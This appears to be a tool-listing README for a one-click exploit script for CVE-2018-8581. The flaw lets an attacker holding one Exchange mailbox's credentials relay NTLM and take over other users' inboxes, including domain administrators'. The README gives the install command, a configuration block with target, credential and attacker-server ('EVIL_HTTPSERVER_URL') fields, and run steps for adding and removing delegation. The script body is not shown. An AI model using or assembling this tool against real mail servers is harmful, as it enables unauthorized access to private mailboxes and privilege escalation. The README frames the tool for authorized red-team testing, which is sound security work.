CVE-2018-8581

CVE-2018-8581

This is a lateral movement and privilege escalation vulnerability at the mailbox level

Once you have the credentials of an ordinary mailbox account, it allows you to delegate and take over the inboxes of other users (including domain administrators)

This EXP script is an enhanced one-click script modified from the original PoC. After configuring the relevant parameters, it will automatically add and remove delegation on the target mailbox's inbox, making it convenient for the client's security team and red team to conduct a simulated attack against an authorized enterprise

The original PoC requires two scripts working together to add an inbox rule, which is not very practical in actual red team work for the client. In addition to the mailbox, the original PoC also requires setting the SID of the target mailbox user. However, using the method for obtaining a user SID mentioned in the article, my tests in actual environments against Exchange Server 2010 and 2013 both failed to reproduce it (2010 has no relevant operation option, and 2013 prompts that you do not have permission for the operation). In the end, my approach was to first perform a reverse delegation to obtain the SID of the target mailbox user, and then remove the delegation

How to use

• Install python-ntlm

  pip install python-ntlm

• Configure the relevant parameters in the script code below

  root@kitploit:~

  ...
  # Exchange server config
  IP = 'mail.target_domain.com'
  PORT = 443
  PROTO = 'https'
  # PORT = 80
  # PROTO = 'http'
  
  # CONTROLLED_EMAIL and TARGET_EMAIL config
  USER = 'the_email_u_have'
  DOMAIN = 'the_domain_name'
  PASS = 'password_of_the_email_u_have'
  
  TARGET_EMAIL = "the_target_email_u_want@target_domain.com"
  CONTROLLED_EMAIL = "the_email_u_have@target_domain"
  
  # FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate
  FLAG = 1
  
  # Exchange server version 
  # EXCHANGE_VERSION = "Exchange2010_SP1"
  EXCHANGE_VERSION = "Exchange2010_SP2"
  # EXCHANGE_VERSION = "Exchange2010_SP3"
  # EXCHANGE_VERSION = "Exchange2013"
  # EXCHANGE_VERSION = "Exchange2016"
  
  #Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL
  HTTPPORT = 8080
  EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/"
  ...
  

• Run the script, then take a sip of goji berry tea and wait a minute

  

• At this point, TARGET_EMAIL's inbox has been successfully delegated to CONTROLLED_EMAIL

• View the target mailbox inbox in OWA or Outlook

  img2

• Change FLAG to 0, run the script again, then take another sip of goji berry tea, wait another minute, and the previously added delegation will be removed

  img3

• Access is no longer permitted

Test environment

• Python 2.7.14

• Exchange Server 2010 SP2

• Exchange Server 2013

More

More EWS SOAP API requests can be modified in the make_relay_body() function

Notes

This script is for learning and communication purposes only. Users are responsible for complying with local laws. The author is not liable for any legal consequences arising from other uses. Downloading and using this script constitutes acceptance of the above terms